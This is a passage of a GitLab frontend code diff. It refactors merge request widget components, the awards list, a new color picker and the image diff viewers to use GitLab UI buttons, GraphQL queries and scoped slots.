};
</script>
@@ -71,40 +155,46 @@ export default {
<div class="mr-widget-body media">
<status-icon :show-disabled-button="true" status="warning" />
- <div class="media-body space-children">
- <span v-if="mr.shouldBeRebased" class="bold">
+ <div v-if="isLoading" class="gl-ml-4 gl-w-full mr-conflict-loader">
+ <gl-skeleton-loader :width="334" :height="30">
+ <rect x="0" y="7" width="150" height="16" rx="4" />
+ <rect x="158" y="7" width="84" height="16" rx="4" />
+ <rect x="250" y="7" width="84" height="16" rx="4" />
+ </gl-skeleton-loader>
+ </div>
+ <div v-else class="media-body space-children">
+ <span v-if="shouldBeRebased" class="bold">
{{
s__(`mrWidget|Fast-forward merge is not possible.
-To merge this request, first rebase locally.`)
+ To merge this request, first rebase locally.`)
}}
</span>
<template v-else>
<span class="bold">
- {{ s__('mrWidget|There are merge conflicts') }}<span v-if="!mr.canMerge">.</span>
- <span v-if="!mr.canMerge">
+ {{ s__('mrWidget|There are merge conflicts') }}<span v-if="!canMerge">.</span>
+ <span v-if="!canMerge">
{{
s__(`mrWidget|Resolve these conflicts or ask someone
- with write access to this repository to merge it locally`)
+ with write access to this repository to merge it locally`)
}}
</span>
</span>
<span v-if="showResolveButton" ref="popover">
- <a
- :href="mr.conflictResolutionPath"
- :disabled="mr.sourceBranchProtected"
- class="js-resolve-conflicts-button btn btn-default btn-sm"
+ <gl-button
+ :href="!sourceBranchProtected && mr.conflictResolutionPath"
+ :disabled="sourceBranchProtected"
+ class="js-resolve-conflicts-button"
>
{{ s__('mrWidget|Resolve conflicts') }}
- </a>
+ </gl-button>
</span>
- <button
- v-if="mr.canMerge"
- class="js-merge-locally-button btn btn-default btn-sm"
- data-toggle="modal"
- data-target="#modal_merge_info"
+ <gl-button
+ v-if="canMerge"
+ v-gl-modal-directive="'modal-merge-info'"
+ class="js-merge-locally-button"
>
{{ s__('mrWidget|Merge locally') }}
- </button>
+ </gl-button>
</template>
</div>
</div>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_missing_branch.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_missing_branch.vue
index 6489569cf68..8511797286d 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_missing_branch.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_missing_branch.vue
@@ -2,6 +2,9 @@
import { GlIcon, GlTooltipDirective } from '@gitlab/ui';
import { sprintf, s__ } from '~/locale';
import statusIcon from '../mr_widget_status_icon.vue';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
+import mergeRequestQueryVariablesMixin from '../../mixins/merge_request_query_variables';
+import missingBranchQuery from '../../queries/states/missing_branch.query.graphql';
export default {
name: 'MRWidgetMissingBranch',
@@ -12,15 +15,38 @@ export default {
GlIcon,
statusIcon,
},
+ mixins: [glFeatureFlagMixin(), mergeRequestQueryVariablesMixin],
+ apollo: {
+ state: {
+ query: missingBranchQuery,
+ skip() {
+ return !this.glFeatures.mergeRequestWidgetGraphql;
+ },
+ variables() {
+ return this.mergeRequestQueryVariables;
+ },
+ update: data => data.project.mergeRequest,
+ },
+ },
props: {
mr: {
type: Object,
required: true,
},
},
+ data() {
+ return { state: {} };
+ },
computed: {
+ sourceBranchRemoved() {
+ if (this.glFeatures.mergeRequestWidgetGraphql) {
+ return !this.state.sourceBranchExists;
+ }
+
+ return this.mr.sourceBranchRemoved;
+ },
missingBranchName() {
- return this.mr.sourceBranchRemoved ? 'source' : 'target';
+ return this.sourceBranchRemoved ? 'source' : 'target';
},
missingBranchNameMessage() {
return sprintf(
@@ -49,7 +75,7 @@ export default {
<div class="media-body space-children">
<span class="bold js-branch-text">
- <span class="capitalize"> {{ missingBranchName }} </span>
+ <span class="capitalize" data-testid="missingBranchName"> {{ missingBranchName }} </span>
{{ s__('mrWidget|branch does not exist.') }} {{ missingBranchNameMessage }}
<gl-icon v-gl-tooltip :title="message" :aria-label="message" name="question-o" />
</span>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/squash_before_merge.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/squash_before_merge.vue
index ff0d065c71d..1c9909e7178 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/squash_before_merge.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/squash_before_merge.vue
@@ -1,10 +1,11 @@
<script>
-import { GlIcon, GlTooltipDirective } from '@gitlab/ui';
+import { GlIcon, GlTooltipDirective, GlFormCheckbox } from '@gitlab/ui';
import { SQUASH_BEFORE_MERGE } from '../../i18n';
export default {
components: {
GlIcon,
+ GlFormCheckbox,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -32,32 +33,23 @@ export default {
tooltipTitle() {
return this.isDisabled ? this.$options.i18n.tooltipTitle : null;
},
- tooltipFocusable() {
- return this.isDisabled ? '0' : null;
- },
},
};
</script>
<template>
- <div class="inline">
- <label
+ <div class="gl-display-flex gl-align-items-center">
+ <gl-form-checkbox
v-gl-tooltip
- :class="{ 'gl-text-gray-400': isDisabled }"
- :tabindex="tooltipFocusable"
- data-testid="squashLabel"
+ :checked="value"
+ :disabled="isDisabled"
+ name="squash"
+ class="qa-squash-checkbox js-squash-checkbox gl-mb-0 gl-mr-2"
:title="tooltipTitle"
+ @change="checked => $emit('input', checked)"
>
- <input
- :checked="value"
- :disabled="isDisabled"
- type="checkbox"
- name="squash"
- class="qa-squash-checkbox js-squash-checkbox"
- @change="$emit('input', $event.target.checked)"
- />
{{ $options.i18n.checkboxLabel }}
- </label>
+ </gl-form-checkbox>
<a
v-if="helpPath"
v-gl-tooltip
diff --git a/app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue b/app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue
index e7f0977778e..3f1f2144d8e 100644
--- a/app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue
@@ -16,7 +16,6 @@ import WidgetHeader from './components/mr_widget_header.vue';
import WidgetSuggestPipeline from './components/mr_widget_suggest_pipeline.vue';
import WidgetMergeHelp from './components/mr_widget_merge_help.vue';
import MrWidgetPipelineContainer from './components/mr_widget_pipeline_container.vue';
-import Deployment from './components/deployment/deployment.vue';
import WidgetRelatedLinks from './components/mr_widget_related_links.vue';
import MrWidgetAlertMessage from './components/mr_widget_alert_message.vue';
import MergedState from './components/states/mr_widget_merged.vue';
@@ -63,7 +62,6 @@ export default {
'mr-widget-suggest-pipeline': WidgetSuggestPipeline,
'mr-widget-merge-help': WidgetMergeHelp,
MrWidgetPipelineContainer,
- Deployment,
'mr-widget-related-links': WidgetRelatedLinks,
MrWidgetAlertMessage,
'mr-widget-merged': MergedState,
@@ -155,10 +153,7 @@ export default {
},
shouldSuggestPipelines() {
return (
- gon.features?.suggestPipeline &&
- !this.mr.hasCI &&
- this.mr.mergeRequestAddCiConfigPath &&
- !this.mr.isDismissedSuggestPipeline
+ !this.mr.hasCI && this.mr.mergeRequestAddCiConfigPath && !this.mr.isDismissedSuggestPipeline
);
},
shouldRenderCodeQuality() {
@@ -472,8 +467,10 @@ export default {
<security-reports-app
v-if="shouldRenderSecurityReport"
:pipeline-id="mr.pipeline.id"
- :project-id="mr.targetProjectId"
+ :project-id="mr.sourceProjectId"
:security-reports-docs-path="mr.securityReportsDocsPath"
+ :target-project-full-path="mr.targetProjectFullPath"
+ :mr-iid="mr.iid"
/>
<grouped-test-reports-app
diff --git a/app/assets/javascripts/vue_merge_request_widget/queries/permissions.query.graphql b/app/assets/javascripts/vue_merge_request_widget/queries/permissions.query.graphql
new file mode 100644
index 00000000000..ae2a67440fe
--- /dev/null
+++ b/app/assets/javascripts/vue_merge_request_widget/queries/permissions.query.graphql
@@ -0,0 +1,10 @@
+query userPermissionsQuery($projectPath: ID!, $iid: String!) {
+ project(fullPath: $projectPath) {
+ mergeRequest(iid: $iid) {
+ userPermissions {
+ canMerge
+ pushToSourceBranch
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/vue_merge_request_widget/queries/states/conflicts.query.graphql b/app/assets/javascripts/vue_merge_request_widget/queries/states/conflicts.query.graphql
new file mode 100644
index 00000000000..186c0e64561
--- /dev/null
+++ b/app/assets/javascripts/vue_merge_request_widget/queries/states/conflicts.query.graphql
@@ -0,0 +1,8 @@
+query workInProgressQuery($projectPath: ID!, $iid: String!) {
+ project(fullPath: $projectPath) {
+ mergeRequest(iid: $iid) {
+ shouldBeRebased
+ sourceBranchProtected
+ }
+ }
+}
diff --git a/app/assets/javascripts/vue_merge_request_widget/queries/states/missing_branch.query.graphql b/app/assets/javascripts/vue_merge_request_widget/queries/states/missing_branch.query.graphql
new file mode 100644
index 00000000000..ea95218aec6
--- /dev/null
+++ b/app/assets/javascripts/vue_merge_request_widget/queries/states/missing_branch.query.graphql
@@ -0,0 +1,7 @@
+query missingBranchQuery($projectPath: ID!, $iid: String!) {
+ project(fullPath: $projectPath) {
+ mergeRequest(iid: $iid) {
+ sourceBranchExists
+ }
+ }
+}
diff --git a/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js b/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js
index 8b235b20ad4..f50b6caf0f5 100644
--- a/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js
+++ b/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js
@@ -220,6 +220,7 @@ export default class MergeRequestStore {
this.sourceProjectFullPath = data.source_project_full_path;
this.mergeRequestPipelinesHelpPath = data.merge_request_pipelines_docs_path;
this.conflictsDocsPath = data.conflicts_docs_path;
+ this.reviewingDocsPath = data.reviewing_and_managing_merge_requests_docs_path;
this.ciEnvironmentsStatusPath = data.ci_environments_status_path;
this.securityApprovalsHelpPagePath = data.security_approvals_help_page_path;
this.eligibleApproversDocsPath = data.eligible_approvers_docs_path;
@@ -229,6 +230,7 @@ export default class MergeRequestStore {
this.pipelinesEmptySvgPath = data.pipelines_empty_svg_path;
this.humanAccess = data.human_access;
this.newPipelinePath = data.new_project_pipeline_path;
+ this.sourceProjectDefaultUrl = data.source_project_default_url;
this.userCalloutsPath = data.user_callouts_path;
this.suggestPipelineFeatureId = data.suggest_pipeline_feature_id;
this.isDismissedSuggestPipeline = data.is_dismissed_suggest_pipeline;
@@ -240,6 +242,10 @@ export default class MergeRequestStore {
this.baseBlobPath = blobPath.base_path || '';
this.codequalityHelpPath = data.codequality_help_path;
this.codeclimate = data.codeclimate;
+
+ // Security reports
+ this.sastComparisonPath = data.sast_comparison_path;
+ this.secretScanningComparisonPath = data.secret_scanning_comparison_path;
}
get isNothingToMergeState() {
diff --git a/app/assets/javascripts/vue_shared/components/awards_list.vue b/app/assets/javascripts/vue_shared/components/awards_list.vue
index 7a687ea4ad0..9a6433963bc 100644
--- a/app/assets/javascripts/vue_shared/components/awards_list.vue
+++ b/app/assets/javascripts/vue_shared/components/awards_list.vue
@@ -1,7 +1,7 @@
<script>
/* eslint-disable vue/no-v-html */
import { groupBy } from 'lodash';
-import { GlIcon, GlLoadingIcon, GlTooltipDirective } from '@gitlab/ui';
+import { GlIcon, GlButton, GlTooltipDirective } from '@gitlab/ui';
import { glEmojiTag } from '../../emoji';
import { __, sprintf } from '~/locale';
@@ -10,8 +10,8 @@ const NO_USER_ID = -1;
export default {
components: {
+ GlButton,
GlIcon,
- GlLoadingIcon,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -64,7 +64,7 @@ export default {
methods: {
getAwardClassBindings(awardList) {
return {
- active: this.hasReactionByCurrentUser(awardList),
+ selected: this.hasReactionByCurrentUser(awardList),
disabled: this.currentUserId === NO_USER_ID,
};
},
@@ -150,40 +150,39 @@ export default {
<template>
<div class="awards js-awards-block">
- <button
+ <gl-button
v-for="awardList in groupedAwards"
:key="awardList.name"
v-gl-tooltip.viewport
+ class="gl-mr-3"
:class="awardList.classes"
:title="awardList.title"
data-testid="award-button"
- class="btn award-control"
- type="button"
@click="handleAward(awardList.name)"
>
- <span data-testid="award-html" v-html="awardList.html"></span>
- <span class="award-control-text js-counter">{{ awardList.list.length }}</span>
- </button>
+ <template #emoji>
+ <span class="award-emoji-block" data-testid="award-html" v-html="awardList.html"></span>
+ </template>
+ <span class="js-counter">{{ awardList.list.length }}</span>
+ </gl-button>
<div v-if="canAwardEmoji" class="award-menu-holder">
- <button
+ <gl-button
v-gl-tooltip.viewport
:class="addButtonClass"
- class="award-control btn js-add-award"
+ class="add-reaction-button js-add-award"
title="Add reaction"
:aria-label="__('Add reaction')"
- type="button"
>
- <span class="award-control-icon award-control-icon-neutral">
- <gl-icon aria-hidden="true" name="slight-smile" />
+ <span class="reaction-control-icon reaction-control-icon-neutral">
+ <gl-icon name="slight-smile" />
</span>
- <span class="award-control-icon award-control-icon-positive">
- <gl-icon aria-hidden="true" name="smiley" />
+ <span class="reaction-control-icon reaction-control-icon-positive">
+ <gl-icon name="smiley" />
</span>
- <span class="award-control-icon award-control-icon-super-positive">
- <gl-icon aria-hidden="true" name="smiley" />
+ <span class="reaction-control-icon reaction-control-icon-super-positive">
+ <gl-icon name="smile" />
</span>
- <gl-loading-icon size="md" color="dark" class="award-control-icon-loading" />
- </button>
+ </gl-button>
</div>
</div>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/blob_viewers/constants.js b/app/assets/javascripts/vue_shared/components/blob_viewers/constants.js
index d4c1808eec2..106dd7a3b97 100644
--- a/app/assets/javascripts/vue_shared/components/blob_viewers/constants.js
+++ b/app/assets/javascripts/vue_shared/components/blob_viewers/constants.js
@@ -1,3 +1 @@
export const HIGHLIGHT_CLASS_NAME = 'hll';
-
-export default {};
diff --git a/app/assets/javascripts/vue_shared/components/callout.vue b/app/assets/javascripts/vue_shared/components/callout.vue
deleted file mode 100644
index 56bafebf4ce..00000000000
--- a/app/assets/javascripts/vue_shared/components/callout.vue
+++ /dev/null
@@ -1,24 +0,0 @@
-<script>
-const calloutVariants = ['danger', 'success', 'info', 'warning'];
-
-export default {
- props: {
- category: {
- type: String,
- required: false,
- default: calloutVariants[0],
- validator: value => calloutVariants.includes(value),
- },
- message: {
- type: String,
- required: false,
- default: '',
- },
- },
-};
-</script>
-<template>
- <div :class="`bs-callout bs-callout-${category}`" role="alert" aria-live="assertive">
- {{ message }} <slot></slot>
- </div>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/ci_badge_link.vue b/app/assets/javascripts/vue_shared/components/ci_badge_link.vue
index 1b7e51b7d02..f388a468fd2 100644
--- a/app/assets/javascripts/vue_shared/components/ci_badge_link.vue
+++ b/app/assets/javascripts/vue_shared/components/ci_badge_link.vue
@@ -20,6 +20,7 @@ import CiIcon from './ci_icon.vue';
* - Pipeline show view - header
* - Job show view - header
* - MR widget
+ * - Terraform table
*/
export default {
diff --git a/app/assets/javascripts/vue_shared/components/ci_icon.vue b/app/assets/javascripts/vue_shared/components/ci_icon.vue
index d775a093f5f..07bd6019b80 100644
--- a/app/assets/javascripts/vue_shared/components/ci_icon.vue
+++ b/app/assets/javascripts/vue_shared/components/ci_icon.vue
@@ -63,5 +63,7 @@ export default {
};
</script>
<template>
- <span :class="cssClass"> <gl-icon :name="icon" :size="size" :class="cssClasses" /> </span>
+ <span :class="cssClass">
+ <gl-icon :name="icon" :size="size" :class="cssClasses" :aria-label="status.icon" />
+ </span>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/clipboard_button.vue b/app/assets/javascripts/vue_shared/components/clipboard_button.vue
index 960551fae91..bf1361f1a6a 100644
--- a/app/assets/javascripts/vue_shared/components/clipboard_button.vue
+++ b/app/assets/javascripts/vue_shared/components/clipboard_button.vue
@@ -84,5 +84,8 @@ export default {
:size="size"
icon="copy-to-clipboard"
:aria-label="__('Copy this value')"
- />
+ v-on="$listeners"
+ >
+ <slot></slot>
+ </gl-button>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/color_picker/color_picker.vue b/app/assets/javascripts/vue_shared/components/color_picker/color_picker.vue
new file mode 100644
index 00000000000..6977692e30c
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/color_picker/color_picker.vue
@@ -0,0 +1,142 @@
+<script>
+/**
+ * Renders a color picker input with preset colors to choose from
+ *
+ * @example
+ * <color-picker :label="__('Background color')" set-color="#FF0000" />
+ */
+import { GlFormGroup, GlFormInput, GlFormInputGroup, GlLink, GlTooltipDirective } from '@gitlab/ui';
+import { __ } from '~/locale';
+
+const VALID_RGB_HEX_COLOR = /^#([0-9A-F]{3}){1,2}$/i;
+const PREVIEW_COLOR_DEFAULT_CLASSES =
+ 'gl-relative gl-w-7 gl-bg-gray-10 gl-rounded-top-left-base gl-rounded-bottom-left-base';
+
+export default {
+ name: 'ColorPicker',
+ components: {
+ GlFormGroup,
+ GlFormInput,
+ GlFormInputGroup,
+ GlLink,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ label: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ setColor: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ },
+ data() {
+ return {
+ selectedColor: this.setColor.trim() || '',
+ };
+ },
+ computed: {
+ description() {
+ return this.hasSuggestedColors
+ ? this.$options.i18n.fullDescription
+ : this.$options.i18n.shortDescription;
+ },
+ suggestedColors() {
+ return gon.suggested_label_colors;
+ },
+ previewColor() {
+ if (this.isValidColor) {
+ return { backgroundColor: this.selectedColor };
+ }
+
+ return {};
+ },
+ previewColorClasses() {
+ const borderStyle = this.isInvalidColor
+ ? 'gl-inset-border-1-red-500'
+ : 'gl-inset-border-1-gray-400';
+
+ return `${PREVIEW_COLOR_DEFAULT_CLASSES} ${borderStyle}`;
+ },
+ hasSuggestedColors() {
+ return Object.keys(this.suggestedColors).length;
+ },
+ isInvalidColor() {
+ return this.isValidColor === false;
+ },
+ isValidColor() {
+ if (this.selectedColor === '') {
+ return null;
+ }
+
+ return VALID_RGB_HEX_COLOR.test(this.selectedColor);
+ },
+ },
+ methods: {
+ handleColorChange(color) {
+ this.selectedColor = color.trim();
+
+ if (this.isValidColor) {
+ this.$emit('input', this.selectedColor);
+ }
+ },
+ },
+ i18n: {
+ fullDescription: __('Choose any color. Or you can choose one of the suggested colors below'),
+ shortDescription: __('Choose any color'),
+ invalid: __('Please enter a valid hex (#RRGGBB or #RGB) color value'),
+ },
+};
+</script>
+
+<template>
+ <div>
+ <gl-form-group
+ :label="label"
+ label-for="color-picker"
+ :description="description"
+ :invalid-feedback="this.$options.i18n.invalid"
+ :state="isValidColor"
+ :class="{ 'gl-mb-3!': hasSuggestedColors }"
+ >
+ <gl-form-input-group
+ id="color-picker"
+ :state="isValidColor"
+ max-length="7"
+ type="text"
+ class="gl-align-center gl-rounded-0 gl-rounded-top-right-base gl-rounded-bottom-right-base"
+ :value="selectedColor"
+ @input="handleColorChange"
+ >
+ <template #prepend>
+ <div :class="previewColorClasses" :style="previewColor" data-testid="color-preview">
+ <gl-form-input
+ type="color"
+ class="gl-absolute gl-top-0 gl-left-0 gl-h-full! gl-p-0! gl-m-0! gl-cursor-pointer gl-opacity-0"
+ tabindex="-1"
+ :value="selectedColor"
+ @input="handleColorChange"
+ />
+ </div>
+ </template>
+ </gl-form-input-group>
+ </gl-form-group>
+
+ <div v-if="hasSuggestedColors" class="gl-mb-3">
+ <gl-link
+ v-for="(name, hex) in suggestedColors"
+ :key="hex"
+ v-gl-tooltip
+ :title="name"
+ :style="{ backgroundColor: hex }"
+ class="gl-rounded-base gl-w-7 gl-h-7 gl-display-inline-block gl-mr-3 gl-mb-3 gl-text-decoration-none"
+ @click.prevent="handleColorChange(hex)"
+ />
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/content_viewer/viewers/image_viewer.vue b/app/assets/javascripts/vue_shared/components/content_viewer/viewers/image_viewer.vue
index 328c7e3fd32..eb7e24734ce 100644
--- a/app/assets/javascripts/vue_shared/components/content_viewer/viewers/image_viewer.vue
+++ b/app/assets/javascripts/vue_shared/components/content_viewer/viewers/image_viewer.vue
@@ -28,6 +28,8 @@ export default {
return {
width: 0,
height: 0,
+ renderedWidth: 0,
+ renderedHeight: 0,
};
},
computed: {
@@ -63,11 +65,14 @@ export default {
this.height = contentImg.naturalHeight;
this.$nextTick(() => {
+ this.renderedWidth = contentImg.clientWidth;
+ this.renderedHeight = contentImg.clientHeight;
+
this.$emit('imgLoaded', {
width: this.width,
height: this.height,
- renderedWidth: contentImg.clientWidth,
- renderedHeight: contentImg.clientHeight,
+ renderedWidth: this.renderedWidth,
+ renderedHeight: this.renderedHeight,
});
});
}
@@ -77,9 +82,14 @@ export default {
</script>
<template>
- <div>
+ <div data-testid="image-viewer">
<div :class="innerCssClasses" class="position-relative">
- <img ref="contentImg" :src="path" @load="onImgLoad" /> <slot name="image-overlay"></slot>
+ <img ref="contentImg" :src="path" @load="onImgLoad" />
+ <slot
+ name="image-overlay"
+ :rendered-width="renderedWidth"
+ :rendered-height="renderedHeight"
+ ></slot>
</div>
<p v-if="renderInfo" class="image-info">
<template v-if="hasFileSize">
diff --git a/app/assets/javascripts/vue_shared/components/content_viewer/viewers/markdown_viewer.vue b/app/assets/javascripts/vue_shared/components/content_viewer/viewers/markdown_viewer.vue
index 6bb05e59f6b..67be76604a3 100644
--- a/app/assets/javascripts/vue_shared/components/content_viewer/viewers/markdown_viewer.vue
+++ b/app/assets/javascripts/vue_shared/components/content_viewer/viewers/markdown_viewer.vue
@@ -109,7 +109,7 @@ export default {
</script>
<template>
- <div ref="markdownPreview" class="md-previewer">
+ <div ref="markdownPreview" class="md-previewer" data-testid="md-previewer">
<gl-skeleton-loading v-if="isLoading" />
<div v-else class="md" v-html="previewContent"></div>
</div>
diff --git a/app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker.vue b/app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker.vue
index a7e6438a935..79cdf308ac5 100644
--- a/app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker.vue
+++ b/app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker.vue
@@ -219,7 +219,7 @@ export default {
<span v-if="utc" class="gl-text-gray-500 gl-font-weight-bold gl-font-sm">{{
__('UTC')
}}</span>
- <gl-icon class="gl-dropdown-caret" name="chevron-down" aria-hidden="true" />
+ <gl-icon class="gl-dropdown-caret" name="chevron-down" />
</template>
<div class="d-flex justify-content-between gl-p-2">
diff --git a/app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker_lib.js b/app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker_lib.js
index 40708453d79..aaadc9766db 100644
--- a/app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker_lib.js
+++ b/app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker_lib.js
@@ -89,5 +89,3 @@ export const inputStringToIsoDate = (value, utc = false) => {
*/
export const isoDateToInputString = (date, utc = false) =>
dateformat(date, dateFormats.inputFormat, utc);
-
-export default {};
diff --git a/app/assets/javascripts/vue_shared/components/diff_viewer/diff_viewer.vue b/app/assets/javascripts/vue_shared/components/diff_viewer/diff_viewer.vue
index a2fe19f9672..e755494a668 100644
--- a/app/assets/javascripts/vue_shared/components/diff_viewer/diff_viewer.vue
+++ b/app/assets/javascripts/vue_shared/components/diff_viewer/diff_viewer.vue
@@ -106,7 +106,13 @@ export default {
:a-mode="aMode"
:b-mode="bMode"
>
- <slot slot="image-overlay" name="image-overlay"></slot>
+ <template #image-overlay="{ renderedWidth, renderedHeight }">
+ <slot
+ :rendered-width="renderedWidth"
+ :rendered-height="renderedHeight"
+ name="image-overlay"
+ ></slot>
+ </template>
</component>
<slot></slot>
</div>
diff --git a/app/assets/javascripts/vue_shared/components/diff_viewer/viewers/image_diff/onion_skin_viewer.vue b/app/assets/javascripts/vue_shared/components/diff_viewer/viewers/image_diff/onion_skin_viewer.vue
index 2b5b2269ec8..433aafdeb9e 100644
--- a/app/assets/javascripts/vue_shared/components/diff_viewer/viewers/image_diff/onion_skin_viewer.vue
+++ b/app/assets/javascripts/vue_shared/components/diff_viewer/viewers/image_diff/onion_skin_viewer.vue
@@ -141,7 +141,13 @@ export default {
:path="newPath"
@imgLoaded="onionNewImgLoaded"
>
- <slot slot="image-overlay" name="image-overlay"> </slot>
+ <template #image-overlay="{ renderedWidth, renderedHeight }">
+ <slot
+ :rendered-width="renderedWidth"
+ :rendered-height="renderedHeight"
+ name="image-overlay"
+ ></slot>
+ </template>
</image-viewer>
</div>
<div class="controls">
diff --git a/app/assets/javascripts/vue_shared/components/diff_viewer/viewers/image_diff/swipe_viewer.vue b/app/assets/javascripts/vue_shared/components/diff_viewer/viewers/image_diff/swipe_viewer.vue
index 2f2618d448f..acca6ba117f 100644
--- a/app/assets/javascripts/vue_shared/components/diff_viewer/viewers/image_diff/swipe_viewer.vue
+++ b/app/assets/javascripts/vue_shared/components/diff_viewer/viewers/image_diff/swipe_viewer.vue
@@ -143,7 +143,13 @@ export default {
class="frame added"
@imgLoaded="swipeNewImgLoaded"
>
- <slot slot="image-overlay" name="image-overlay"> </slot>
+ <template #image-overlay="{ renderedWidth, renderedHeight }">
+ <slot
+ :rendered-width="renderedWidth"
+ :rendered-height="renderedHeight"
+ name="image-overlay"
+ ></slot>
+ </template>
</image-viewer>
</div>
<span
diff --git a/app/assets/javascripts/vue_shared/components/diff_viewer/viewers/image_diff/two_up_viewer.vue b/app/assets/javascripts/vue_shared/components/diff_viewer/viewers/image_diff/two_up_viewer.vue
index 4dbfdb6d79c..97cac919b2a 100644
--- a/app/assets/javascripts/vue_shared/components/diff_viewer/viewers/image_diff/two_up_viewer.vue
+++ b/app/assets/javascripts/vue_shared/components/diff_viewer/viewers/image_diff/two_up_viewer.vue
@@ -44,7 +44,13 @@ export default {
:inner-css-classes="['frame', 'added']"
class="wrap w-50"
>
- <slot slot="image-overlay" name="image-overlay"> </slot>
+ <template #image-overlay="{ renderedWidth, renderedHeight }">
+ <slot
+ :rendered-width="renderedWidth"
+ :rendered-height="renderedHeight"
+ name="image-overlay"
+ ></slot>
+ </template>
</image-viewer>
</div>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/diff_viewer/viewers/image_diff_viewer.vue b/app/assets/javascripts/vue_shared/components/diff_viewer/viewers/image_diff_viewer.vue
index 6f5a133b225..00033145603 100644
--- a/app/assets/javascripts/vue_shared/components/diff_viewer/viewers/image_diff_viewer.vue
+++ b/app/assets/javascripts/vue_shared/components/diff_viewer/viewers/image_diff_viewer.vue
@@ -76,7 +76,13 @@ export default {
<div v-if="diffMode === $options.diffModes.replaced" class="diff-viewer">
<div class="image js-replaced-image">
<component :is="imageViewComponent" v-bind="$props">
- <slot slot="image-overlay" name="image-overlay"> </slot>
+ <template #image-overlay="{ renderedWidth, renderedHeight }">
+ <slot
+ :rendered-width="renderedWidth"
+ :rendered-height="renderedHeight"
+ name="image-overlay"
+ ></slot>
+ </template>
</component>
</div>
<div class="view-modes">
@@ -121,7 +127,13 @@ export default {
},
]"
>
- <slot v-if="isNew || isRenamed" slot="image-overlay" name="image-overlay"> </slot>
+ <template v-if="isNew || isRenamed" #image-overlay="{ renderedWidth, renderedHeight }">
+ <slot
+ :rendered-width="renderedWidth"
+ :rendered-height="renderedHeight"
+ name="image-overlay"
+ ></slot>
+ </template>
</image-viewer>
</div>
</div>
diff --git a/app/assets/javascripts/vue_shared/components/dismissible_container.vue b/app/assets/javascripts/vue_shared/components/dismissible_container.vue
index b4227bae09e..6d5fd065751 100644
--- a/app/assets/javascripts/vue_shared/components/dismissible_container.vue
+++ b/app/assets/javascripts/vue_shared/components/dismissible_container.vue
@@ -45,7 +45,7 @@ export default {
data-testid="close"
@click="dismiss"
>
- <gl-icon name="close" aria-hidden="true" class="gl-text-gray-500" />
+ <gl-icon name="close" class="gl-text-gray-500" />
</button>
</div>
</div>
diff --git a/app/assets/javascripts/vue_shared/components/dropdown/dropdown_search_input.vue b/app/assets/javascripts/vue_shared/components/dropdown/dropdown_search_input.vue
index 48b94fdc181..edb5ffdc39c 100644
--- a/app/assets/javascripts/vue_shared/components/dropdown/dropdown_search_input.vue
+++ b/app/assets/javascripts/vue_shared/components/dropdown/dropdown_search_input.vue
@@ -44,6 +44,6 @@ export default {
type="search"
autocomplete="off"
/>
- <gl-icon name="search" class="dropdown-input-search" aria-hidden="true" data-hidden="true" />
+ <gl-icon name="search" class="dropdown-input-search" data-hidden="true" />
</div>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/file_finder/index.vue b/app/assets/javascripts/vue_shared/components/file_finder/index.vue
index 386df617d47..05403b38850 100644
--- a/app/assets/javascripts/vue_shared/components/file_finder/index.vue
+++ b/app/assets/javascripts/vue_shared/components/file_finder/index.vue
@@ -234,7 +234,6 @@ export default {
name="search"
class="dropdown-input-search"
:class="{ hidden: showClearInputButton }"
- aria-hidden="true"
/>
<gl-icon
name="close"
diff --git a/app/assets/javascripts/vue_shared/components/file_row.vue b/app/assets/javascripts/vue_shared/components/file_row.vue
index b4115b0c6a4..4d07d9fcfdd 100644
--- a/app/assets/javascripts/vue_shared/components/file_row.vue
+++ b/app/assets/javascripts/vue_shared/components/file_row.vue
@@ -143,6 +143,7 @@ export default {
:style="levelIndentation"
class="file-row-name"
data-qa-selector="file_name_content"
+ data-testid="file-row-name-container"
:class="[fileClasses, { 'str-truncated': !truncateMiddle, 'gl-min-w-0': truncateMiddle }]"
>
<file-icon
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue
index 97b4ceda033..3988b3814f9 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue
